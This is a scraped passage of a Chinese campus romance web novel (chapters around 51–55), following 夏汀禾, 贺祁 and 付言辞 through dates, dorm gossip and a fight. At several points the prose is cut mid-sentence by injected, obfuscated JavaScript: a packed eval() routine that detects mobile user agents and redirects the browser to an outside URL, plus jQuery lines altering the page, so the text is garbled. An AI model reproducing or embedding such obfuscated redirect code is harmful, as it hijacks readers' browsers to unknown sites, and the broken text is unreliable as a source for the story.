“学到哪了？”贺祁偏头看向她问，“感觉难么？” 夏汀禾随口答了两句，思索了下后，终于对他问出了自己一路上都在想的问题。 “贺祁，你有过很痛苦的时候吗？” 想到祝朝月中午和她说的那番话，夏汀禾垂下了眼睫，又道：“就好像怎么努力都没有用。和喜欢的人也不得不分开。” 没有来龙去脉，就这么凭空给出的话题，要是别人，肯定会直接问她为什么突然这么问，但贺祁没有。 他直接回答了：“算是有过吧。” “不过喜欢的人……” 他和夏汀禾对视着，不知道想到了什么，这人又突然勾了下嘴角，道： “要是真喜欢的话，我不会和她分开。” 夏汀禾的注意力都在他前面的话，只继续问：“那你怎么处理的？不会一直很难受吗？” 要不是从祝朝月口中听到了这些事，夏汀禾从来不会知道有人的成长轨迹是这样的。 回想前二十年的人生，除了父母离异的事，夏汀禾感觉自己的生活其实已经很顺遂了。 她没有过那种痛苦交织的感受。 贺祁想了下，认真回她说：“会难受，但总不能一直盯着这一块地方看，如果你能想开，那它就可以只成为人生中的一部分，毕竟每天发生的事多的是。但你要是一直关注，这点就会被不断放大。” “而且有时候，可以破局的只有你自己。” 听了他的话，夏汀禾又开始沉思了起来。 正专注地想着事情呢，这人忽地又凑了过来，只手撑在她身侧，看着她说：“所以夏同学，对这个回答还满意么？” 思绪被打断，夏汀禾被他的脸吸引了过去。 脸颊开始泛热，她只好又推了下贺祁，支支吾吾道：“……休息得差不多了，可以走了。” 贺祁笑了起来，坦坦荡荡地看着她说：“噢。” 他们在外面转悠到了晚上才回去。 从地铁口走向学校还有一段路，贺祁这时轻拍了下夏汀禾的肩膀，问她：“玩个游戏？” “什么？”夏汀禾侧过脸去看他。 贺祁指了指不远处的一棵树：“看到树下的落叶了么？” “看到了。” “有多少叶子，我们俩猜一个数，数值接近的赢。”贺祁三言两语解释了下，又道：“这只是举个例子，你要是有其他想猜的也行。” 玩游戏向来是夏汀禾擅长的，她立即踮脚挡住了贺祁的眼睛：“那你不许再往那边看了，我也只看了一眼。” 清淡的香味扑过来，贺祁本来还想说这次不算，但忽地就没说了，只笑了下，顺着她的话：“昂，没看了。” “我猜二十。” 夏汀禾回想了下那一秒钟的画面，说：“十五。” 说完，夏汀禾兴致勃勃地跑过去数，贺祁跟在她身后慢悠悠地走过来。 结果是十九，贺祁说的更准。 夏汀禾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15888956|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被激起了兴趣，又随便指了一小店门前的绿植架子：“猜这个，有多少盆栽。” 贺祁：“九。” 夏汀禾：“那我猜十。” 结果再过去一数，还是贺祁赢了。 几局下来，夏汀禾只打平手了一次，她不免有些怀疑：“你是不是来过这条路上很多次了？” 贺祁笑着回她：“真没有，我发誓。” 他确实只来过为数不多的三次，而且每次还是为了找夏汀禾，压根没时间关注这些。 夏汀禾抿了下唇：“那你怎么每次都赢？” 贺祁漫不经心地回她说：“有诀窍。” 其实也算不上诀窍，只是小时候经常要在家里等爷爷回来，贺祁没事做，又没有朋友，自己就会开始这么玩。 等他玩了六七十回之后，爷爷差不多就回家了。 “是什么？”夏汀禾好奇起来，贺祁却不肯告诉她了。 她晃他的手臂，追上去问，贺祁也不说。 看着她努力地猜着，差不多忘记了之前的事，目的达到，贺祁最后轻飘飘丢下一句：“这和许愿一样，说出来就不灵了。” 夏汀禾不听他解释。 进了学校后，夏汀禾径直走向宿舍楼，贺祁也不着急，就这么跟在她身后。 在经过分岔路口时，夏汀禾忽地看到了等着路边的一对母女。 是之前在医院见过的。 因为小女孩的姓氏和付言辞一样，夏汀禾现在还记得她的名字，似乎是叫付语诗。 小女孩穿了条粉色的公主裙，扎着小辫子，看着格外讨人喜欢。 她的妈妈也换了一身和之前不同的穿着——干净的衬衫和笔挺的牛仔裤，显得人年轻多了。 两个人似乎是在看方向，走哪条路。 这个点了，在学校街道上晃悠的人不多，贺祁自然也注意到了她们。 他本来只是随便看了一眼，但发现夏汀禾的目光在两人身上多停留了几秒后，贺祁也多留意了下。 他走在后面，距离这对母女近一点。 这边又安静，自然而然清晰地听到了小女孩的声音，她兴奋地指着夏汀禾说：“妈妈，是那个姐姐，哥哥在文件夹上写的名字的那个姐姐！” 怕打扰到其他人，女人赶紧低声说了下自家小孩：“不可以这样，付语诗，很不礼貌。” 被妈妈这么一说，小女孩立即安静了下来。 夏汀禾听见了一点动静，正想回过头来看，贺祁却倏地快步朝她走了过来，挡住了她的视线。 贺祁问她：“刚刚说的诀窍，还想知道么？” 52. 暗恋 这是夏汀禾今晚上最想知道的事。被这么一问，她一时间忘记了要做什么，点了点头。 贺祁边推着她的肩膀往前走，边给了一个听着比较合理的解释。 思绪都集中在他的话上，夏汀禾自动忽略了他触碰到自己肩膀上的手。 一段话不长不短，正好到宿舍楼下时，贺祁说完了，也松开了手。 “差不多就这些。”贺祁停在了她面前，微低着下巴，和她对视着。 夏汀禾若有所思地记下，打算下次再玩的时候检验一下，但看着他一脸认真的模样，又忽地想起来： “你刚刚不是还不肯告诉我么？” 还说什么说出来就不灵了的话。 贺祁显然没想到她还记得这句，愣了下，很快又反应过来，笑了下，十分无奈又宠溺地说： “但你不是想知道么？” 说话的时候，贺祁就望着她，漆黑的眼眸里似乎倒映着她的模样，点缀着亮晶晶的光芒。 像是所有目光只聚集在她一个人身上一样。 他明明看着还是最初那般散漫和随性，但每次笑起来，总会让人觉得好像他在这一刻有了感情。 夏汀禾害怕是自己的错觉，低头错开了视线。 她才没有呢…… 但不得不承认，心里已经开始有了触动。 看着夏汀禾回宿舍后，贺祁往校门口走。 几分钟后，再次碰见了那对母女。 两人看上去还没找到路。 小女孩撅着嘴，不满地说：“妈妈你看，我都说了刚刚应该直接问那位姐姐的。现在又找不到哥哥的宿舍楼了。” 女人其实认出了夏汀禾。上次和儿子谈话后，也知道了她是付言辞喜欢的女生。 但正因为这样，女人才不想给人留下不好的印象。 她是带着孩子坐公交车过来的，奔波了一整天，状态算不上好，脸上又没化妆。 这些细枝末节的事几岁的小孩肯定是不会懂的，女人只好蹲下来，温柔地和女儿说：“我们再找找看，好吗？妈妈记得应该是这条路，要是不行，就再打个电话给你哥哥。” 小女孩这才同意了。 女人起身打算带着孩子走向另一条路，这时突然有人走了过来。 “阿姨您是在找物院男生的宿舍楼么？” 女人抬眸看向面前。 看到贺祁的第一印象便是矜贵，像是有钱人家的少爷一般，五官精致得每一处都挑不出错来。 何况贺祁还是带着笑的，又增添了几分少年气。 女人点了点头，也回了一个笑：“对，你也是物理专业的学生吗？” 贺祁指了个方向：“不是，不过正巧我来的时候看到了。他们的宿舍在那边，沿着这条路走下去，分岔路口再左拐就行。” 女人感激地道了谢，带着小女孩走了。 贺祁这才继续往校外去。 - 回了宿舍，夏汀禾先给祝朝月发了消息，问她现在的情况。 等着她回消息的时间，夏汀禾又被室友拉着去玩卡牌。 宿舍中间正好摆着一张长桌，平日里除了吃饭，她们几个在上面最常干的事情就是玩游戏。 宁苒兴致冲冲地搬凳子、拿零食准备，看到夏汀禾时不时瞥两眼手机，便问道：“怎么了吗？是在等谁的消息么？” 夏汀禾点了下头，估摸着可能祝朝月现在有事去了，没看到，就把手机放一边去了。 四个人围着桌子坐下，边玩边聊着天。 “上次去的livehouse体验不错诶，下次我们再找个时间过去吧。” “可以啊。”黎穗接过了宁苒的话，回想起那天的场景，她又倏地开口：“对了，那天坐我们旁边的男生，你们不觉得有点眼熟吗？” 夏汀禾那天是看到了林越了的，现在听到黎穗这么说，并没有觉得惊讶。 宁苒也跟着想了下：“你说那个穿白衣服戴眼镜的？” 几秒后，她拍了下掌：“记起来了，他好像是付言辞的朋友，我们之前看付言辞的时候，应该和他见过面的。” 说完，宁苒又摇了摇头：“感觉他们的性格应该还挺像的，当时我们不是从livehouse出来嘛，然后我正巧听到了他和付言辞打电话。谁敢相信，他们俩在这种情况下，还在聊实验！” 黎穗倒吸了一口凉气：“学术天才，果然恐怖如斯。” 只有应忱听完后，推了下鼻梁上的眼镜框，皱了下眉道：“不过他的那个朋友好像不是我们学院的，是学地理的。” 地理和物理就天差地别了，两个学科能有十分之一的交集就不错了，更别说是实验。 但宁苒确信自己没听错，只好扯出一句来：“……可能人家对我们专业也感兴趣？” 应忱：“……” 黎穗：“……” 宁苒挺直了腰板：“怎么了？难道还不允许别人有点学术多元化的追求吗？” 应忱选择投降：“我闭麦。” 黎穗转手叉了一块水果塞进了宁苒的嘴里：“先吃东西吧。” 宁苒：“…………” 夏汀禾没觉得宁苒会听错，但对于付言辞他们之间会探讨什么，也没有那么感兴趣，因此也一直没开口。 四个人玩了一小时的卡牌，临时收到了班群里发的作业，这才收了场各自去做事了。 这时夏汀禾也正好收到祝朝月的消息。 祝朝月：【没问题了，我现在在宿舍追剧】 看到这句话，夏汀禾算是放心了下来。 但紧接着一句又把她拉了回去。 祝朝月：【我和梁浩分手了】 心里一颤，夏汀禾许久才挤出话来：【那明天要一起吃个饭吗？】 祝朝月怎么可能会不明白她的意思，不过很快就给她发了一条语音，说：“明天我有兼职呢，可能不太行，晚上可以聊天。但如果是安慰的话就不用啦，我现在其实也还好，而且汀禾你也有自己的事要做，总不能因为我打乱了你的日程。” 她的语气听着确实是平静的，或许祝朝月也的确需要一段时间来独处，夏汀禾没再强求，只道需要聊天的时候可以找她。 祝朝月给她回了一个猫猫抱抱的表情包。 关了手机，躺在床上，夏汀禾看了看天花板。 她好像有点明白贺祁的话了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“对，一般从专业前三里面选，按照大一大二的综合成绩来。” “今年去交换的有一个特别出名的学长对吧？付言辞。我听说他和学姐你是一个高中的诶，你们是不是也认识呀？” 上次被提及自己和付言辞是一个学校这件事，还是在她和付言辞表白前。 这时再听到这句话，夏汀禾都有些恍惚了。 她轻声回应说：“嗯，认识。” 女生正处于打探小道消息的兴奋状态，也没注意到夏汀禾的情绪变化，继续自顾自地说： “而且据说付学长还是我们学校公认的大帅哥，超多人追。” 想到这里，女生又叹了口气：“不过我们肯定是追不到的，他早就有喜欢的人了，还暗恋了很久。超级好奇被学长暗恋的人是什么样的。” 女生悄摸向夏汀禾凑了过来，小声问：“学姐，你知道吗？我嘴巴很严的，绝对不会告诉别人。” 夏汀禾不知道，她也怔愣住了。 付言辞原来是有暗恋的人吗？ 53. 距离 接到母亲打过来的电话时，付言辞正在实验室里写报告，听到铃声，他匆匆往手机屏幕上一瞥，立即放下笔从实验室里出来。 几秒后接通，付母的声音缓缓传来：“儿子，厚的衣服裤子我已经帮你从宿舍里拿出来了，托了隔壁阿姨的儿子给你带过去，到时候你记得好好感谢人家。” 付言辞站在实验楼的走廊上，看见楼下火红的枫叶已经落了一地。 原来已经是秋天了。 他也已经离开学校几个月了。 不知道想到了什么，付言辞隔了一会儿才回应说：“知道了。” 付母明白自己儿子在国外也忙，所以平日里并不经常打电话打扰，但要是偶尔通了一两次电话，也总会忍不住多说一些，多听听他的声音。 “前些日子，我去你们学校差点找不到你宿舍的路，还是一个学生给我指的。大学里的小孩还真都是善良热心。” “没找到路？”付言辞皱了下眉头，“妈，你怎么不直接打电话问我？” 付母笑了笑：“这不是想着你可能在忙嘛，反正我闲着也是没事，带着你妹妹在学校里到处转转散散步也好。” “你妹妹总说想你，也想看看你上课的教室、在学校住的地方是什么样的。” 想到家里的小不点，付言辞脸上不自觉地浮现出笑容，道：“小机灵鬼还能记得我？说不定是想让妈你带着去买吃的。” 付母的手机是摁了扩音器的，付语诗听到这句，立即光着脚从沙发上跑过来，扒住手机喊：“哥哥你太过分了！怎么能这样想我！” 被亲哥这句话刺激到了，付语诗当即抖出了那天的事情：“我和妈妈可是在你的学校里看到了那个姐姐哦。” “付语诗！” 付母喊住了女儿，很快就把手机拿了过来，仓促地和付言辞结束了对话：“你有事的话你就先忙吧，我也去准备晚饭了。” 付言辞回了句好，那边便挂断了电话。 耳边瞬间安静了下来，他又在走廊上站了一会儿，直到定的闹钟响起，他才又回到了实验室。 把报告写完后已经是天黑，付言辞起身收拾东西，去了附近的超市买晚餐。 最方便的话，他是可以直接去食堂吃饭的，但超市里晚点会有打折的盒饭，便宜不少，买回去之后直接微波炉加热一下就行。 往常走在路上，付言辞会思考自己晚上的规划，但是今天却无论如何也没办法进入状态。 或许是从听到夏汀禾的消息那开始。 他们已经太久没见面了。 她还会喜欢他么？ 每次想到这一点，拼命压抑着的思念就像是会触底反弹般地给他狠狠一击，让他备受煎熬。 付言辞在路边停了下来，站在树下缓了口气，等到稍微恢复了点后，才继续往前走。 快要到门口时，正好碰见几个同来的交换生同学勾搭着肩准备去球馆。 一个和他稍微熟识点的也看到了付言辞，对他招了招手，道：“言辞，我们打算去打篮球，一起去么？” 付言辞往常都会直接拒绝，但这次他犹豫了下，接着就答应了。 到了球场，付言辞刚把外套脱下，男生就过来拍了下他的肩膀，颇有深意地说：“诶，言辞，你当时拒绝那个夏汀禾还真是正确的。” 拿着外套的手忘记了放下，付言辞没说话，依旧看着他，眼神却慢慢冷了下来。 虽说当时帖子删得及时，但还是不少人知道。 不过付言辞不想任何人再提及。 男生显然没有这点自觉，甚至脸上还有几分得到小道消息的喜悦，继续着说：“被你拒绝了，她现在和几个男的都搞上暧昧了，你们专业的那个陈航，还有校外的一个谁。专挑有钱长得帅的下手啊。” “啧，真是看不出来啊，脸长得挺乖，但没想到这么会玩男人。” “幸好……” “砰——” 男生的话没来得及说完，一拳头已经砸在了他脸上。 他被这猝不及防的一下打得往后跌了好几下，勉强撑住了墙才没倒在地上，口腔里瞬间弥漫了血腥的味道。 付言辞俯视着他，活动了下手腕，眼神里是从未有过的狠厉。 “你可以再多说一句试试。” 站在边上看热闹的也一时间愣了神，完全不知道发生了什么，更没想到一向稳重沉默的付言辞会突然动手。 被一堆人看着，男生还要脸，他想冲上去回击但却立即被人拉住了。 没管身后男生的谩骂，付言辞直接把球扔了，拎着包出了球馆。 - 夏汀禾是在第二天得知付言辞打架了的消息的。 当时她正在阳台上拿着吹风机吹头发，声音轰隆隆地作响。 兴许是以为她听不到，黎穗抱着手机不可置信地和其他两个室友分享：“付言辞居然打人了！” 夏汀禾听到这句时，条件反射地跟着紧张了起来，接着就调小了吹风机的风力。 “付言辞？他还会打人？不是吧穗穗，你确定这消息可靠？”宁苒迅速从床上爬下来，凑到她身边问。 “真的不能再真了，他都被学校处分了。”黎穗一脸可惜，“没想到学神也有天会发生这种事。” 宁苒倒吸了一口凉气：“所以为什么打架啊？” 她们几个完全想不出来付言辞会为了什么去动手。 黎穗这时候想起来这点关键的问题，抬了下手表示暂停：“你等下，我问问我的人脉。” 宁苒：“……” 几分钟后，黎穗再次惊叹地大叫起来：“为了一个女生！我的天，是真的吗？不行，我得再问问。” 黎穗又赶紧追问了一下朋友，反复确认了好几遍，最后无疑是真的。 宁苒已经懵了半分钟，理清了思绪之后才道：“是他女朋友？” 黎穗摇了摇头：“这个就不知道了，就说是被打的男的说了女生一些不好的话，然后付言辞就动手了。” 宁苒叹了口气：“那八成是了。” 说着，宁苒又往阳台那边瞧了眼，确保夏汀禾还在认真地吹着头发，这才继续和黎穗探讨八卦。 宁苒：“会不会是生物学院那个金色头发的美女？之前他们俩一起主持过学校里的晚会。” 黎穗：“不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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估摸着他是到宿舍楼下了，夏汀禾很快披了件外套出门。但下去后站在门口，她往左右瞥却没看到人。 她只好又问贺祁：【你在哪？】 这句刚发出去，手机就倏地连着震动了好几下。 贺祁给她发了十几张图过来。 不用点开，看到璀璨的星河时，夏汀禾一眼认出来是用望远镜拍的。 贺祁前几天跟着导师的项目组去了A市的天文台，聊天时夏汀禾无意间提了一下能不能发点照片给她看。 毕竟平日里最多也只能借用学校的小望远镜玩玩，这种机会难得。 夏汀禾都以为他忘记了。 最后一张图片传完，贺祁这时才从一边的台阶上朝她走过来，看到她后，不自觉地扬了下嘴角，解释说： “这边的网速慢，我去那边蹭了下网。” 可以快点发给你看。 54. 变化 秋日下午的阳光丝毫不刺眼，带着淡淡的暖意，洒在两人身上。 夏汀禾披着米白色的针织外套，站在日光里认认真真地一张一张把图片全部看完了。 她是低着头的，刚吹干的长发被随意扎成低马尾，发尾还带着卷曲的弧度，耳侧的碎发则随风飘动着，时不时拂过白嫩的脖颈和领口敞着的一点锁骨。 贺祁始终在看着她。 等夏汀禾看完一抬头，正好对上他的视线，这才注意到这点。 看她干嘛…… 脸颊有些热，夏汀禾又很快把目光挪向了别处，小声问他说：“这些是什么时候拍的？” 贺祁回她说：“昨天。” 他们主要是去天文台那拿观测数据的，本来待个几天就走。同行的教授和师兄师姐也挺意外贺祁会忽地提出想要用望远镜拍些图片。 天文台里的仪器都是精密高端的，操作起来并不简单，更别说拍星河这些还得挑时候，期间要边等边不停地调试各种设备。 于是贺祁就赶在回来的前一天晚上，在天文台里待了一整夜。 夏汀禾低低地应了一声，已经不知道该说什么了。 她完全没有想到贺祁会把她无意间提过的事放在心上。 自己都差点忘记了。 “那你不是刚回来么？”夏汀禾又问他。 贺祁笑了下，点头道：“昂。” 他早上坐高铁回来的，连自己学校都没回，就直接过来夏汀禾这边了。 夏汀禾又推测出他可能连午饭都没吃，于是打算带他去食堂。 贺祁却说：“我开车过来的，待会儿回家吃。” 心里一着急，夏汀禾推着他往前走：“那现在去呀。” 等说完了，才反应过来贺祁说的是回哪。 两个人同时愣住了。 视线轻轻扫过她搭载自己腕上的手，贺祁弯下腰凑过去问她：“确定？要跟我一起回家？” 他的脸倏地在眼前放大，眼里仿佛有璀璨的星河，勾着人往里陷。夏汀禾推了推他，强硬着说：“不……不可以吗？” 话已经说出口了，再收回来反而显得她在退缩。 贺祁脸上的笑意更甚：“没说不行。” 他瞥了眼夏汀禾通红的耳朵，又补了句：“正好我爸妈也不在家，回去的话也就我们俩。” 夏汀禾：“！” 放在以前，夏汀禾肯定会立即说“那要不还是算了吧”，但是现在，她好像已经对贺祁慢慢建立起了信任，本能地就觉得他肯定不会对自己做什么。 她也惊讶于自己心里的第一反应竟然是答应。 心脏开始疯狂跳动，夏汀禾没说话了。 贺祁已经先往前走了几步，看到她还停在原地，又回过头来，笑着问：“不是说要去么？怎么还站在哪？” 纠结了下，夏汀禾硬着头皮跟了上去。 坐进了车内，她已经脸红得没办法再看人了，只好一直打开着副驾驶的窗户，吹着风往外看着景色转移注意力。 等到一个路口，贺祁转去了另一个方向，夏汀禾才意识到不对。 “去你家不是应该往那边吗？”她迷迷糊糊地问出口。 “是。”贺祁没想到她记得这么清楚，心情不由得更好了些。 夏汀禾正想着他会带自己去哪，贺祁已经开口解释了：“我住的地方附近也有挺多你们学校的学生在那边租房，马上晚上了，要是有认识你的人看到了不太好。” “现在先带你去别的地方吃饭。” 夏汀禾立即清醒了过来，所以贺祁一开始就只是在逗她而已，他早就考虑到了这点。 大学里的八卦消息总是传得格外快的，尤其是在男女关系上。 看夏汀禾垂着眼眸像是在思索着什么，贺祁又忍不住去逗她：“又不高兴了？下次我把钥匙给你，你想什么时候过来都行，成么？” 夏汀禾捶了他好几下。 贺祁开车带她去了一家粤菜馆。 饭馆是新开业的，又是下午的时间，来的人并不多。大抵是为了营造氛围，屋子里的光线特意调暗了些，是柔和的暖黄色浅光。 贺祁进去后便直接问了服务员预订的位置，等被带着往前走时，夏汀禾才反应过来：“你早就订好了的？” 贺祁抱着双臂靠在墙上，懒洋洋地点了下头：“嗯。” 他是在坐高铁的时候刷到的朋友推荐的，看了下对方的朋友圈照片后，感觉是夏汀禾会喜欢的，当时就在车上订了，打算下午和她一起吃。 夏汀禾抿了下唇。 那还和她说什么要回家吃。 这人完全就是故意的。 贺祁自然知道这么做她会生气，于是说完之后又立即凑过去问：“这里的小吃看着还挺不错的，想吃什么？” 他把手机递了过来，给夏汀禾选。 面对各种各样摆在盘在里的精致小吃，夏汀禾不得不承认自己妥协了，挑了好几个拍照好看的。 等菜一上来，夏汀禾迫不及待地拍了好几张。 贺祁坐在对面的沙发上，撑着下巴看着她。等她忙活完了，开口问：“帮你也拍一个？” 想起上次他在羽毛球馆拍的自己，夏汀禾果断拒绝：“不要。” 听她的语气，贺祁也大概猜出来了原因，无奈笑了下，拿了自己的手机出来，翻了下相册给她看。 原来他那天拍的不止一张。 是只给她发了他觉得好看的一张。 但是夏汀禾一点也不觉得自己当时扎头发生气的模样漂亮。 “那你这些都没发给我。”夏汀禾看了他一眼，气鼓鼓地说：“就挑了不好看的那张。” 贺祁完全没觉得夏汀禾会有不好看的时候，但眼下也只能顺着她：“现在帮你重新拍几张将功补过？” 夏汀禾犹豫着答应了，特意叮嘱道：“那你这次等我把头发弄好了再拍。” 贺祁笑了笑：“行，知道了。” 他就这么看着她把头发散开，捋顺之后才用淡粉色的小皮圈扎成一个低马尾，又扯出几缕耳侧的碎发。 为了方便她调整，贺祁就举着开着前置摄像头的手机，让她当镜子使用。 夏汀禾整理头发的时候，无意间往手机外瞥了一眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15905605|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，看到他后，终于忍不住说：“你不要总是看着我……” 贺祁对着她，脸上的笑容依旧没有散去，过了许久才回答说： “好。” - 一学期很快过去了一大半，越到后面，夏汀禾每天的生活越加充实。 白天跑各个教室上课，晚上除了完成课程作业，偶尔还会和贺祁出去逛街。周末则要么和室友出去聚餐，要么去泡图书馆。 但夏汀禾总觉得还差点什么。 直到有次结课时，一位夏汀禾很敬仰的带课教授在课堂上说了一番话，她才明白过来差在了哪。 “最近有很多学生想让我指导论文，如果是以后想走科研这条道路，或者是想认认真真地研究某个东西，那这自然是极好的，我也十分欢迎。但如果只是为了水一篇期刊，那便没必要来找我。” 这位老教授的风格一贯是严谨细致，为人又质朴温和，在业内也算是大牛级别的人物，因此进他课题组的学生数不胜数。 夏汀禾一开始也有这样的想法，但每每燃起一股冲劲，又想到后面可能会做不好让人失望，所以一直没踏出去这一步。 或许是觉得刚才的话说得有些重了，老教授又笑了笑，道：“目前我的精力也有限，最多只能再多带两个本科生，有想法的可以把你们平日里的课程论文和成绩发给我看看，过时不候。” 这番话说完，就已经有一群学生围了上去问问题。 夏汀禾起了身，往讲台上看了看后，又默默坐回了位置上。 “苒苒你想去嘛？”这时黎穗拍了拍宁苒的肩膀问。 宁苒立即摊手：“我对自己的实力还是非常有自知之明的，人都说了想浑水摸鱼的话就不要去了。我就不往上凑了。” 黎穗叹了口气：“哎，也是，我有一点点想去，但感觉成绩够不上。” 说完，她又转身看向夏汀禾：“汀妹你呢？你以后要是打算继续读研的话，感觉如果能在本科发一篇有含金量的论文，帮助也挺大的。” 应忱补了句：“的确，老师去年带的本科生就有直接发SCI的。” 夏汀禾垂了垂眼睫：“我再看看吧。” 虽然嘴上是不经意地说着，但一直到宿舍，夏汀禾都在想着这件事。 之前写课程论文查文献的时候，她就看到过这位教授的文章，给了她很多不一样的想法，当时便十分敬佩，很快又去看了他其他的论文。 但让对方来指导自己这种好事，夏汀禾从来没有想过。 然而现在，机会就在她眼前。 思绪有些混乱，夏汀禾拿手机随便刷了下来放松心情。 无意间点开相册，再次看到贺祁发给她的那些银河星系图。 这是她以后想学的、想走的路。 但如果她自己不愿意走出这一步，那便永远只会停留在这里。 夏汀禾深吸了一口气，很快又开了电脑，把自己过往的成绩和论文整理好，写了申请信，给教授发了一封邮件过去。 听到发送成功提示音的那一刻。 比起紧张，她没想到自己感觉到更多的是轻松。 55. 语音 “汀妹，你去跑步吗？” 刚检查完邮件确认无误，夏汀禾关上电脑，黎穗就在座位上探出头来问。 Q大每学期都有固定的校园跑要求，限制公里数和时速，完成次数和体育课成绩挂钩。但因为时间没有限制，只要在期末前完成即可，所以她们几个经常拖到最后。 更别说夏汀禾本来就不喜欢运动。 今天也是如此。 她想拒绝的，但打开手机看了眼自己已经完成的寥寥无几的次数后，最后还是认命地点了头，去换了衣服。 两个人散着步去的操场。 黎穗先开口问她：“你有给明教授发邮件么？” 夏汀禾：“嗯，我刚刚发了。” 黎穗点了点头，若有所思地说：“那你应该是肯定可以去的。” 在教室时，黎穗和宁苒的谈话她也有听到，夏汀禾知道她也有想去的意向。 名额有限的情况下，竞争是必然的，但夏汀禾不喜欢，尤其不想和好朋友这样。 现在陡然听到黎穗这么说，她一时间变得有些局促起来，不知道该怎么回复。 想不出什么合适的话来缓解气氛，忽地听到黎穗道：“哎，没想到一转眼就大三了，我感觉自己什么都还没做呢，好像昨天才第一次刚提着行李来学校报道。” 话题跳跃地太快，夏汀禾还停在上面的问话中。 似乎也不需要她的回答，黎穗又叹了口气：“刚来的时候我还想着在大学里能不能谈一个大帅哥呢，没想到清心寡欲活了两年，现在已经是丝毫没有这方面的心思了。” 说完，黎穗一脸看淡了所有的表情，但紧接着，目光瞥到不远处的一对情侣，她又立即兴奋了起来：“算了，我自己的先放一边吧，看别人谈恋爱更有趣。” “汀妹你看。”黎穗悄摸指给她看，“那边。” 夏汀禾顺着方向看过去，认真找了一会儿，才明白她说的是谁。 是他们班长和他男朋友。 两人不仅学习成绩好，而且颜值也相当。谈了两年多，两个人硬是每年都在专业前五，因此经常被拿出来当正面例子。 黎穗一开始也向往着这样的爱情，后来认清了自己的现实，也就放弃了。 黎穗欣赏着，夏汀禾却看到从男生背包里突然掉出了个什么东西。 她不确定，于是又问了下黎穗。 “有么？” 她们俩走了过去，借着路灯在一片落叶里找到了掉下的U盘。夏汀禾捡了起来，黎穗当即对着前面喊了一句：“班长！” 对方条件反射地回过头来，在人群中找到她们后，便兴冲冲地也拉着男朋过来了。 黎穗指了下夏汀禾手上的U盘：“这个，好像是从你男朋友书包里掉出来的。” 班长凑过去看了眼，确认的确是自己的后十分感激：“啊，太谢谢了，我都没发现呢。里面存了我的一大堆资料，要是找不到了我八成会疯。” 班长是平易近人的开朗性格，人也长得明媚又温柔，黎穗笑了笑，说：“是汀禾发现的。” 于是从夏汀禾手中接过U盘后，班长又对着她说了声：“谢谢啦。” 夏汀禾摆了摆手：“不客气。” 把U盘揣进了兜里，她转头对着男朋友嗔怪道：“都叫你不要把重要的东西放侧边的袋子了，现在好了吧，多亏了汀禾她们看到了。” 男生是有点冷的长相，脸型偏瘦，不说话时看着有点严肃。 听完女朋友说这句之后，他瞥了一眼夏汀禾，没回应，只道：“该走了吧？” 冷不丁的一句。 夏汀禾愣了下。 不知道是不是错觉，她总觉得男生对自己似乎有些格外的情绪。 像是轻蔑，甚至还有一点点讨厌。 但夏汀禾记得自己应该从来没有和他讲过一句话，也几乎会很少碰到面。 班长大抵也察觉出来男朋友的语气不对，和她们俩道了别之后赶紧就推着人走了。 等人离开后，黎穗抓了抓头发，皱着眉道：“额，我以前没有接触过班长的男朋友，不过他是这样的性格吗？” 夏汀禾也不知道。 黎穗越琢磨越觉得无语，帮了他一句话不说还甩脸色。 她恍然想起来：“他是那个陈航的朋友对吧？我经常看到他们俩一块，陈航感觉挺好相处的，这人怎么这样？” 总之以后应该也没什么见面的机会，夏汀禾没想放在心上。她对挽着黎穗的手，笑了笑说：“走吧，去跑步了。” - 当天回去后，睡前夏汀禾躺在床上又想了一遍，十分肯定自己没有得罪过男生。 所以为什么会对她有突如其来的恶意？ 她没打算在乎男生的看法，但忽地被人这样对待，总归会有些不舒服。 想到这些，夏汀禾有些睡不着了，她侧躺着打开手机翻动了下，习惯性地点进了和贺祁的对话框。 不确定他睡了没，夏汀禾没发消息过去打扰，只点了拍一拍。 贺祁在几秒后回了她：【嗯？怎么了？十一点了还没睡？】 夏汀禾：【你不也是吗？】 贺祁这次发了两条语音过来。 他笑了下，承认了：“行，是。” “所以睡不着就知道找我聊天？” 大抵是因为已经躺在床上准备睡觉的缘故，他一贯清澈的嗓音中带着点哑意。 夏汀禾听着有些耳热，又把手机拿远了些。 夏汀禾理所应当地回了他：【嗯，就找你聊，不行么？】 发完这句，她又觉得自己有些太大胆了，想要撤回，但还没动，贺祁已经回了她。 贺祁：【没说不行】 贺祁：【那以 